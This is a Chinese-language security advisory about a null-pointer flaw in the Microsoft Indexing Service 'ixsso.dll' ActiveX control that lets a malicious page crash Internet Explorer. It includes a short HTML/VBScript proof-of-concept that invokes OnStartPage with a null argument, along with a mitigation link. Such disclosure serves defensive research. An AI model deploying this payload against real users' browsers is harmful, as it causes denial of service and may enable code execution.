Microsoft Indexing Service 'ixsso.dll' ActiveX控件拒絕

發(fā)布時(shí)間: 2012/9/8 16:11:52

發(fā)布日期：2012-08-24
更新日期：2012-08-28

受影響系統(tǒng)：
Microsoft Indexing Service
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 55202-

Microsoft Indexing Service是為簡(jiǎn)單實(shí)現(xiàn)本地和網(wǎng)絡(luò)全文搜索引擎的一個(gè)服務(wù)。

Microsoft Indexing Service 'ixsso.dll' ActiveX控件在實(shí)現(xiàn)上存在空指針引用錯(cuò)誤，通過(guò)誘使受害者打開(kāi)調(diào)用了受影響控件的惡意網(wǎng)頁(yè)或HTML電子郵件，攻擊者可利用此漏洞造成IE拒絕服務(wù)，也可能執(zhí)行任意代碼。

<*來(lái)源：coolkaveh

鏈接：http://support.microsoft.com/kb/240797
*>

測(cè)試方法：
--------------------------------------------------------------------------------

警告

以下程序(方法)可能帶有攻擊性，僅供安全研究與教學(xué)之用。使用者風(fēng)險(xiǎn)自負(fù)！

coolkaveh （）提供了如下測(cè)試方法：

<html> Exploit <object classid='clsid:A4463024-2B6F-11D0-BFBC-0020F8008024' id='target' /></object> <script language='vbscript'> targetFile = "C:\WINDOWS\system32\ixsso.dll" prototype = "Property Let OnStartPage As object" memberName = "OnStartPage" progid = "Cisso.CissoQuery" argCount = 1 Set arg1=Nothing target.OnStartPage arg1 </script>

建議：
--------------------------------------------------------------------------------
廠商補(bǔ)丁：

Microsoft
---------
Microsoft已經(jīng)為此發(fā)布了一個(gè)安全公告（240797）以及相應(yīng)補(bǔ)丁:

240797：如何禁止 ActiveX 控件在 Internet Explorer 中運(yùn)行

鏈接：http://support.microsoft.com/kb/240797

本文出自：億恩科技【www.ypdoo.com.cn】

服務(wù)器租用/服務(wù)器托管中國(guó)五強(qiáng)！虛擬主機(jī)域名注冊(cè)頂級(jí)提供商！15年品質(zhì)保障！--億恩科技[ENKJ.COM]